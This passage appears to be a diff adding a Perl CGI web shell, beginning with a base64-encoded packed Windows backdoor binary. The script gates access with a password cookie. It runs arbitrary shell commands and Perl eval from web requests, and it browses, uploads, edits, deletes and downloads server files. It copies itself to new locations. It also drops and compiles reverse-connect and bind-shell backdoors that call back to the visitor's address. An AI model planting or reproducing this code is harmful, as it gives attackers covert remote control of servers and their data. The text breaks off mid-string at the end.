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
+KH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnbof//AAAAAAAAAAAAAAAAAAAAAAAAAHyAAABQgAAA
+AAAAAAAAAAAAAAAAiYAAAGyAAAAAAAAAAAAAAAAAAACWgAAAdIAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAoIAAAK6AAAC+gAAAzoAAANyAAADqgAAAAAAAAPiAAAAAAAAAcwAAgAAAAABLRVJORUwzMi5E
+TEwAQURWQVBJMzIuZGxsAFdTMl8zMi5kbGwAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MA
+AFZpcnR1YWxQcm90ZWN0AABWaXJ0dWFsQWxsb2MAAFZpcnR1YWxGcmVlAAAARXhpdFByb2Nlc3MA
+AABPcGVuU2VydmljZUEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
+$shell_style = "
+
+";
+
+################# FUNCTION GOES HERE #######################==============================================]
+sub init_cgi{
+ my $length = $ENV{'CONTENT_LENGTH'};
+ my $content_type = $ENV{'CONTENT_TYPE'};
+ my (@assign, %formlist);
+ if (defined($length) and $length > 0 ){
+ binmode STDIN;
+ sysread(STDIN, $_, $length);
+ chomp;
+ $query = $_;
+ if ((!$content_type) || ($content_type eq 'application/x-www-form-urlencoded')){
+ @assign = split('&',$query);
+ foreach (@assign) {
+ my ($name,$value) = split /=/;
+ $value =~ tr/+/ /;
+ $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
+ $formlist{$name} = $value;
+ }
+ }
+ else{
+ ($boundary = $content_type) =~ s/^.*boundary=(.*)$/\1/;
+ @pairs = split(/--$boundary/, $query);
+ @pairs = splice(@pairs,1,$#pairs-1);
+ for $part (@pairs)
+ {
+ ($dump,$fline,$value) = split(/\r\n/,$part,3);
+ next if $fline =~ /filename=\"\"/;
+ $fline =~ s/^Content-Disposition: form-data; //;
+ (@columns) = split(/;\s+/, $fline);
+ ($name = $columns[0]) =~ s/^name="([^"]+)"$/\1/g;
+ if($part =~ /filename=\"([^"]*)\"/){
+ $formlist{'uploadname'} = $1;
+ }
+ if ($#columns > 0)
+ {
+ if ($value =~ /^Content-Type:/)
+ {
+ ($dump,$dump,$value) = split(/\r\n/,$value,3);
+ }
+ else
+ {
+ ($dump,$value) = split(/\r\n/,$value,2);
+ }
+ }
+ else
+ {
+ ($dump,$value) = split(/\r\n/,$value,2);
+ if (grep(/^$name$/, keys(%CGI)))
+ {
+ if (@{$formlist{$name}} > 0)
+ {
+ push(@{$formlist{$name}}, $value);
+ }
+ else
+ {
+ $arrvalue = $formlist{$name};
+ undef $formlist{$name};
+ $formlist{$name}[0] = $arrvalue;
+ push(@{$formlist{$name}}, $value);
+ }
+ }
+ else
+ {
+ next if $value =~ /^\s*$/;
+ $formlist{$name} = $value;
+ }
+ next;
+ }
+ $formlist{$name} = $value;
+ }
+ }
+ }
+ my $query = $ENV{'QUERY_STRING'};
+ if ($query =~ /\w+/){
+ @assign = split('&',$query);
+ foreach (@assign) {
+ my ($name,$value) = split /=/;
+ $value =~ tr/+/ /;
+ $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
+ #$value = urldecode($value);
+ #print $name."=".$value." ";
+ $formlist{$name} = $value;
+ }
+ }
+ foreach $var (sort(keys(%formlist))) {
+ $val = $formlist{$var};
+ $val =~ s|\n|\\n|g;
+ $val =~ s|"|\\"|g;
+ }
+ return %formlist;
+}
+sub init_cookie(){
+ my %cookie;
+ if(defined($ENV{'HTTP_COOKIE'})){
+ $rawcookie = $ENV{'HTTP_COOKIE'};
+ @rawcookies = split /;/, $rawcookie;
+ foreach (@rawcookies){
+ my ($name,$value) = split /=/;
+ $cookie{$name} = $value;
+ }
+ }
+ return %cookie;
+}
+sub trim($){
+ my $string = shift;
+ $string =~ s/^\s+//;
+ $string =~ s/\s+$//;
+ return $string;
+}
+sub xfilesummary($){
+ my $file = shift;
+ $buff = "";
+ if(-f $file){
+ $buff = "Filesize : ".&xparsefilesize(&xfilesize($file))." ( ".&xfilesize($file)." ) :: Permission : ".&xfileperms($file)." ( ".&xfileowner($file)." ) :: modified : ".&xfilelastmodified($file);
+ }
+ return $buff;
+}
+sub xparsefilesize($){
+ my $size = shift;
+ if($size <= 1024) {
+ return $size;
+ }
+ else{
+ if($size <= 1024*1024) {
+ $size = sprintf("%.02f",$size / 1024);
+ return $size." kb";
+ }
+ else {
+ $size = sprintf("%.2f",$size / 1024 / 1024);
+ return $size." mb";
+ }
+ }
+}
+sub xfilesize($){
+ my $file = shift;
+ if(-f $file){
+ return -s $file;
+ }
+ return "0";
+
+}
+sub xfileopen($){
+ my $file = shift;
+ my $binary = shift;
+
+ my $content = "";
+ my $n = "";
+ if(-f $file){
+ if(open(FILE,$file)){
+ if($binary){
+ binmode FILE;
+ }
+ while (($n = read FILE, $data, 1024) != 0) {
+ $content .= $data;
+ }
+ close(FILE);
+ }
+ }
+ return $content;
+}
+sub xfilesave($){
+ my $file = shift;
+ my $content = shift;
+ if(open(FILE,">".$file)){
+ binmode FILE;
+ print FILE $content;
+ close(FILE);
+ return 1;
+ }
+ else { return 0 };
+}
+sub trimslashes($){
+ my $str = shift;
+ if(&is_win()){
+ $str =~ s/\\$//;
+ }
+ else{
+ $str =~ s/\/$//;
+ }
+ return $str;
+}
+sub xfileowner($){
+ my $file = shift;
+ if(-e $file){
+ if(-d $file){
+ $file = trimslashes($file);
+ }
+ ($uid,$gid) = (stat($file))[4,5];
+ if(&is_win()){
+ return "???";
+ }
+ else{
+ $name=getpwuid($uid);
+ $group=getgrgid($gid);
+ return $name.":".$group;
+ }
+ }
+ return "???";
+}
+sub xfilelastmodified($){
+ my $file = shift;
+ if(-e $file){
+ if(-d $file){
+ $file = trimslashes($file);
+ }
+ ($la) = (stat($file))[9];
+ ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
+ $y = $y + 1900;
+ @month = qw/Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec/;
+ $lmtime = sprintf("%02d-%s-%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
+ return $lmtime;
+ }
+ return "???";
+}
+sub xfileperms($){
+ my $file = shift;
+ $isreadable = "-";
+ $iswriteable = "-";
+ if(-e $file){
+ if(-r $file){ $isreadable = "r"; }
+ if(-w $file){ $iswriteable = "w"; }
+ }
+ return $isreadable . " / " . $iswriteable;
+}
+sub xrmdir($) {
+ my $dir = shift;
+ if(opendir(DIR,$dir)){
+ while($file = readdir(DIR)){
+ if(($file ne ".") && ($file ne "..")){
+ if(-d $file){
+ &xrmdir($dir."\\".$file);
+ }
+ else{
+ unlink($dir."\\".$file);
+ }
+ }
+ }
+ closedir(DIR);
+ }
+ rmdir($dir);
+}
+sub xcleanpath($){
+ my $path = shift;
+ $path = &urldecode(&trim($path));
+ if(&is_win()){
+ $path =~ tr/\//\\/;
+ }
+
+ $xSlash = &DIRECTORY_SEPARATOR();
+
+ if(-f $path){
+ $path = substr($path,0,rindex($path,$xSlash));
+ }
+ while(substr($path,-1,1) eq $xSlash){
+ $path = substr($path,0,-1);
+ }
+ return $path.$xSlash;
+}
+sub dirname($){
+ my $file = shift;
+ $xSlash = &DIRECTORY_SEPARATOR();
+ if(-f $file){
+ return substr($file,0,rindex($file,$xSlash)).$xSlash;
+ }
+ elsif(-d $file){
+ $file = &xcleanpath($file);
+ return substr($file,0,rindex($file,$xSlash)).$xSlash;
+ }
+ else{
+ return substr($file,0,rindex($file,$xSlash)).$xSlash;
+ }
+}
+sub basename($){
+ my $file = shift;
+ $xSlash = &DIRECTORY_SEPARATOR();
+ if(-f $file){
+ return substr($file,rindex($file,$xSlash) + 1);
+ }
+ else{
+ return $xSlash;
+ }
+}
+sub is_win(){
+ $os = $xSystem;
+ if($os =~ m/win/i){
+ return 1;
+ }
+ else{
+ return 0;
+ }
+}
+sub DIRECTORY_SEPARATOR(){
+ if(&is_win()){
+ return "\\";
+ }
+ else {
+ return "\/";
+ }
+}
+sub xdrive(){
+ $letters = "";
+ @range = (A..Z);
+ foreach $letter (@range){
+ $check = $letter.":\\";
+ $bool = (-e $check);
+ if ($bool) {
+ $letters .= "[ ";
+ $letters .= $letter;
+ $letters .= " ] ";
+ }
+ }
+ if($letters ne ""){
+ $letters .= " ";
+ }
+ return $letters;
+}
+sub urlencode($){
+ my $str = shift;
+ $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
+ return $str;
+}
+sub urldecode($){
+ my $str = shift;
+ $str =~ s/\%([A-Fa-f0-9]{2})/pack('C', hex($1))/seg;
+ return $str;
+}
+sub xparsedir($){
+ my $dir = shift;
+ $xSlash = &DIRECTORY_SEPARATOR();
+ if(&is_win()){
+ @dirs = split /\\/,$dir;
+ }
+ else {
+ @dirs = split /\//,$dir;
+ }
+ $buff = "";
+ $dlink = "";
+ if(!&is_win()) {
+ $dlink .= &urlencode($xSlash);
+ $buff .= "".$xSlash." ";
+ }
+ foreach $d (@dirs){
+ $d = &trim($d);
+ if($d ne ""){
+ $dlink .= &urlencode($d.$xSlash);
+ $buff .= "".$d." ".$xSlash." ";
+ }
+ }
+ return "[ ".$buff." ] ";
+}
+sub xparentfolder($){
+ my $path = shift;
+ $xSlash = &DIRECTORY_SEPARATOR();
+ $path = &xcleanpath($path);
+ $path1 = substr($path,0,rindex($path,$xSlash));
+ $path2 = substr($path1,0,rindex($path1,$xSlash));
+ if((-d $path2) || (rindex($path1,$xSlash) == 0)){
+ return $path2.$xSlash;
+ }
+ else{
+ return $path1.$xSlash;
+ }
+}
+sub ekse($){
+ my $cmd = shift;
+ return `$cmd`;
+}
+sub xeval($){
+ my $code = shift;
+ $cod = $code;
+ $code =~ s/\"/\\\"/g;
+ my $whichperl = &trim(&ekse("which perl"));
+ if($whichperl eq ""){
+ $con = &xfileopen($ENV{'SCRIPT_FILENAME'},1);
+ if($con =~ /^#!(.*)/){
+ $whichperl = &trim($1);
+ }
+ }
+ $result = "";
+ if($whichperl ne ""){
+ $result = &ekse($whichperl." -e \"".$code."\"");
+ }
+ if($result ne ""){
+ return $result;
+ }
+ else{
+ print "Content-type: text/html\n\n";
+ eval($cod);
+ exit(1);
+ }
+}
+sub xdir($){
+ my $path = shift;
+ $path = &trim(&xcleanpath($path));
+ if(-d $path){
+ @fname = ();
+ @dname = ();
+ if(opendir(DIR,$path)){
+ while($file = readdir(DIR)){
+ if(-d $file){
+ push(@dname,$file);
+ }
+ else{
+ push(@fname,$file);
+ }
+ }
+ closedir(DIR);
+ }
+ @fname = sort { lc($a) cmp lc($b) } @fname;
+ @dname = sort { lc($a) cmp lc($b) } @dname;
+ $buff = "
+ Filename
+ Filesize
+ Permission
+ Last Modified
+ Action ";
+ foreach $d (@dname){
+ my $d = &trim($d);
+ $sd = $d;
+ if($d eq "..") {
+ $nextdir = &xparentfolder(&xparentfolder($path));
+ $d = &xcleanpath(&xparentfolder($path));
+ }
+ elsif($d eq ".") {
+ $nextdir = &xparentfolder($path);
+ $d = &xcleanpath($path);
+ }
+ else {
+ $nextdir = $path;
+ $d = $path.$sd;
+ }
+ $dir = $d;
+ $buff .= "
+ [ ".$sd." ] ";
+ $buff .= "DIR ";
+ $buff .= "".&xfileperms($sd)." ";
+ $buff .= "".&xfilelastmodified($sd)." ";
+ $buff .= "Properties | Remove ";
+ $buff .= " ";
+ }
+ foreach $f (@fname){
+ $sf = $f;
+ $f = $path.$f;
+ $view = "?dir=".&urlencode($path)."&view=".&urlencode($f);
+ $buff .= "
+
+ ".$sf." ";
+ $buff .= "".&xparsefilesize(&xfilesize($f))." ";
+ $buff .= "".&xfileperms($f)." ";
+ $buff .= "".&xfilelastmodified($f)." ";
+ $buff .= "Edit | Download | Remove ";
+ $buff .= " ";
+ }
+ $buff .= "
";
+ return $buff;
+ }
+}
+sub xrunexploit($){
+ my $fpath = shift;
+ my $base64 = shift;
+ my $port = shift;
+ my $type = shift;
+ $con = &b64decode($base64);
+ $final = "";
+ if(&is_win()){
+ $fname = "bd.exe";
+ $ip = "";
+ $fpath = $fpath.$fname;
+ if(-f $fpath){
+ unlink($fpath);
+ }
+ if(&xfilesave($fpath,$con)){
+ $fpath = &trim($fpath);
+ if($type eq 'connect'){ $ip = $ENV{'REMOTE_ADDR'}; }
+ $final .= $fpath." ".$port." ".$ip;
+ &ekse(&trim($final));
+ return 1;
+ }
+ }
+ else {
+ if($type eq 'connect'){ $fname = "back"; }
+ else { $fname = "bind"; }
+ $ip = "";
+ $fpath = $fpath.$fname;
+ if(-f $fpath.".c"){
+ unlink($fpath.".c");
+ }
+ if(&xfilesave($fpath.".c",$con)){
+ $fpath = &trim($fpath);
+ if($type eq 'connect'){ $ip = $ENV{'REMOTE_ADDR'}; }
+ &ekse("gcc ".$fpath.".c -o ".$fpath);
+ &ekse("chmod +x ".$fpath);
+ if(-e $fpath){
+ $final .= $fpath." ".$port." ".$ip;
+ &ekse(&trim($final));
+ return 1;
+ }
+ }
+ }
+ return 0;
+}
+sub htmlspecialchars($){
+ my $text = shift;
+ $text =~ s/&/&/g;
+ $text =~ s/"/"/g;
+ $text =~ s/'/'/g;
+ $text =~ s/</g;
+ $text =~ s/>/>/g;
+ return $text;
+}
+sub nl2br($) {
+ my $text = shift;
+ $text =~ s/([\r\n])/ $1/g;
+ return $text;
+}
+sub b64decode
+{
+ local ($_) = @_;
+ local ($result);
+ eval qq{ tr|$tr_base64||cd; tr|$tr_base64|$tr_uuencode|; };
+ while (s/^(.{60})//) {
+ $result .= unpack("u", "M" . $&);
+ }
+ if ($_ ne "") {
+ $result .= unpack("u", substr($uuencode_alphabet, length($_)*3/4, 1) . $_);
+ }
+ return $result;
+}
+sub b64encode
+{
+ local ($_) = @_;
+ local ($chunk);
+ local ($result);
+ while (s/^((.|\n){45})//) {
+ $chunk = substr(pack("u", $&), $[+1, 60);
+ eval qq{ \$chunk =~ tr|$tr_uuencode|$tr_base64|; };
+ $result .= $chunk . "\n";
+ }
+ if ($_ ne "") {
+ $chunk = substr(pack("u", $_), $[+1, int((length($_)+2)/3)*4 - (45-length($_))%3);
+ eval qq{ \$chunk =~ tr|$tr_uuencode|$tr_base64|; };
+ $result .= $chunk . ($base64_pad x ((60 - length($chunk)) % 4)) . "\n";
+ }
+ $result;
+}
+################# INIT GOES HERE #######################==================================================]
+my %_VAR = &init_cgi;
+my %_COOKIE = &init_cookie();
+my $xCwd = &xcleanpath($ENV{'SCRIPT_FILENAME'});
+my $auth = 0;
+my $cmdeval = "";
+chdir($xCwd);
+if(defined($_VAR{'passw'})){
+ $check = &trim($_VAR{'passw'});
+ $fut_time=gmtime(time()+3600*24*7)." GMT";
+ $fut_time_=gmtime(time()-3600*24*7)." GMT";
+
+ if($check eq $shell_password){
+ $cookie = "pass=".$check."; path=/; expires=".$fut_time.";";
+ $m = $ENV{'SCRIPT_NAME'};
+ print "Set-Cookie: " . $cookie . "\n";
+ $auth = 1;
+ }
+ else {
+ $cookie = "pass=".$check."; path=/; expires=".$fut_time_.";";
+ print "Set-Cookie: " . $cookie . "\n";
+ }
+}
+$check = "";
+if(defined($_COOKIE{'pass'})) {
+ $check = &trim($_COOKIE{'pass'});
+}
+if($check eq $shell_password){
+ $auth = 1;
+ }
+if(defined($_VAR{'img'})){
+ $file = &trim($_VAR{'img'});
+ if(-f $file){
+ print "Content-type: image/jpeg\n\n";
+ binmode STDOUT;
+ print &xfileopen($file,1);
+ exit;
+ }
+ else{
+ $img = ${"$file"};
+ print "Content-type: image/png\n\n";
+ binmode STDOUT;
+ print &b64decode($img);
+ exit;
+ }
+}
+if(defined($_VAR{'get'}) && ($_VAR{'get'} ne "")){
+ $file = $_VAR{'get'};
+ $filez = &xfileopen($file,1);
+ print "Content-type: application/octet-stream\n";
+ print "Content-Disposition: attachment;filename=\"".&basename($file)."\"\n\n";
+ binmode STDOUT;
+ print $filez;
+ exit;
+}
+if(defined($_VAR{'btnConnect'})){
+ $port = $_VAR{'bportC'};
+ $dir = &xcleanpath($_VAR{'dir'});
+ if(&is_win()) {
+ $base64 = $wBind;
+ }
+ else {
+ $base64 = $xBack;
+ }
+
+ if(&xrunexploit($dir,$base64,$port,"connect")){
+
+ }
+}
+elsif(defined($_VAR{'btnListen'})){
+ $port = $_VAR{'lportC'};
+ $dir = &xcleanpath($_VAR{'dir'});
+ if(&is_win()){
+ $base64 = $wBind;
+ }
+ else{
+ $base64 = $xBind;
+ }
+
+ if(&xrunexploit($dir,$base64,$port,"listen")){
+
+ }
+}
+if(defined($_VAR{'dir'}) && ($_VAR{'dir'} ne "")){
+ $newdir = &xcleanpath(&trim($_VAR{'dir'}));
+ if(defined($_VAR{'oldfilename'}) && ($_VAR{'oldfilename'} ne "")){
+ $newdir = &dirname(&trim($_VAR{'properties'}));
+ }
+ if(defined($_VAR{'btnNewUploadLocal'})){
+ $filecon = $_VAR{'filelocal'};
+ if(defined($_VAR{'filename'})){
+ $filename = &trim($_VAR{'filename'});
+ if($filename eq ""){
+ $filename = $_VAR{'uploadname'};
+ }
+ }
+ else{
+ $filename = &trim($_VAR{'uploadname'});
+ }
+ &xfilesave($newdir.$filename,$filecon);
+ print "Content-type: text/html\n\n";
+ print $newdir.$filename;
+ }
+ if(-d $newdir){
+ chdir($newdir);
+ $xCwd = $newdir;
+ }
+ else{
+ $newdir = &dirname($newdir);
+ if(-d $newdir){
+ chdir($newdir);
+ $xCwd = $newdir;
+ }
+ }
+ if(defined($_VAR{'foldername'}) && ($_VAR{'foldername'} ne "")){
+ $fname = &xcleanpath($_VAR{'foldername'});
+ mkdir($newdir.$fname);
+ }
+ elsif(defined($_VAR{'del'}) && ($_VAR{'del'} ne "")){
+ $fdel = $_VAR{'del'};
+ if(-f $fdel){
+ unlink($fdel);
+ }
+ elsif(-d $fdel){
+ &xrmdir($fdel);
+ $newdir = xparentfolder($newdir);
+ }
+ }
+ elsif(defined($_VAR{'childname'}) && ($_VAR{'childname'} ne "")){
+ $childname = $newdir.&trim($_VAR{'childname'});
+ $con = &xfileopen($ENV{'SCRIPT_FILENAME'},1);
+ &xfilesave($childname,$con);
+ }
+}
+if(defined($_VAR{'cmd'}) && ($_VAR{'cmd'} ne "")){
+ $cmd = $_VAR{'cmd'};
+ $xCwd = &trim($_VAR{'dir'});
+ if($cmd =~ m/^cd(.*)$/i){
+ $newdir = &trim($1);
+ if($newdir eq ".."){
+ $newdir = &xparentfolder($xCwd);
+ }
+ elsif($newdir eq "."){
+ $newdir = $xCwd;
+ }
+ elsif($newdir =~ m/:/){
+ $newdir = $newdir;
+ }
+ else{
+ $newdir = $xCwd.$newdir;
+ }
+ if(-e $newdir) {
+ chdir($newdir);
+ $xCwd = $newdir;
+ }
+ $result = &xdir($xCwd);
+ }
+ elsif($cmd =~ m/^(\w{1}:.*)$/i){
+ $newdir = &trim($1);
+ if(-e $newdir){
+ chdir($newdir);
+ $xCwd = $newdir;
+ }
+ $result = &xdir($xCwd);
+ }
+ else {
+ $result = &ekse($cmd);
+ if($result ne "") {
+ $result = &htmlspecialchars($result);
+ $result =~ s/ / /g;
+ $result = &nl2br($result);
+ }
+ else {
+ $result = &xdir($xCwd);
+ }
+ }
+}
+elsif(defined($_VAR{'eval'}) && ($_VAR{'eval'} ne "")){
+ $cmdeval = $_VAR{'eval'};
+ $result = &htmlspecialchars(&xeval($_VAR{'eval'}));
+}
+elsif(defined($_VAR{'properties'}) && ($_VAR{'properties'} ne "")){
+ $fname = &trim($_VAR{'properties'});
+ $dir = &trim($_VAR{'dir'});
+ if(defined($_VAR{'oldfilename'}) && ($_VAR{'oldfilename'} ne "")){
+ $oldname = &trim($_VAR{'oldfilename'});
+ rename($oldname,$fname);
+ }
+ $fcont = "";
+ $fview = "";
+ if(-d $fname){
+ $fsize = "DIR";
+ $fcont = &xdir($fname);
+ $faction = "Properties | Remove ";
+
+ }
+ else{
+ $fname = trimslashes($fname);
+ $fsize = &xparsefilesize(&xfilesize($fname))." ( ".&xfilesize($fname)." bytes ) ";
+ $type = "text";
+ if(defined($_VAR{'type'})){
+ $type = &trim($_VAR{'type'});
+ }
+ if($type eq 'img'){
+ $imglink = "[ view full size ]
";
+ $fcont = "".$imglink."
";
+ }
+ else {
+ $code = &htmlspecialchars(&xfileopen($fname,0));
+ $fcont = "".&nl2br($code)."
";
+ }
+ $faction = "Edit | Download | Remove ";
+ $fview = "[ text ] [ image ] ";
+ }
+ $fowner = &xfileowner($fname);
+ $fperm = &xfileperms($fname);
+ @month = qw/Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec/;
+ ($la,$lm,$lc) = (stat($fname))[8,9,10];
+ ($d,$m,$y,$h,$i) = (localtime($lm))[3,4,5,2,1];
+ $y = $y + 1900;
+ $lmtime = sprintf("%02d-%s-%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
+ ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
+ $y = $y + 1900;
+ $latime = sprintf("%02d-%s-%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
+ ($d,$m,$y,$h,$i) = (localtime($lc))[3,4,5,2,1];
+ $y = $y + 1900;
+ $ctime = sprintf("%02d-%s-%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
+ $result = "
+ ";
+}
+elsif((defined($_VAR{'view'}) && ($_VAR{'view'} ne "")) || ((defined($_VAR{'filename'}) && ($_VAR{'filename'} ne "")))){
+ $msg = "";
+ if(defined($_VAR{'save'})){
+ $file = &trim($_VAR{'saveas'});
+ $content = $_VAR{'filesource'};
+ if(&xfilesave($file,$content)){
+ $pesan = "File Saved";
+ }
+ else{
+ $pesan = "Failed to save file";
+ }
+ $msg = "[ ".$pesan." ] ";
+ }
+ else {
+ if(defined($_VAR{'view'}) && ($_VAR{'view'} ne "")){
+ $file = &trim($_VAR{'view'});
+ }
+ else{
+ $file = $xCwd.&trim($_VAR{'filename'});
+ }
+ }
+ $result = &xfileopen($file,0);
+ $result = &htmlspecialchars($result);
+ $result = "
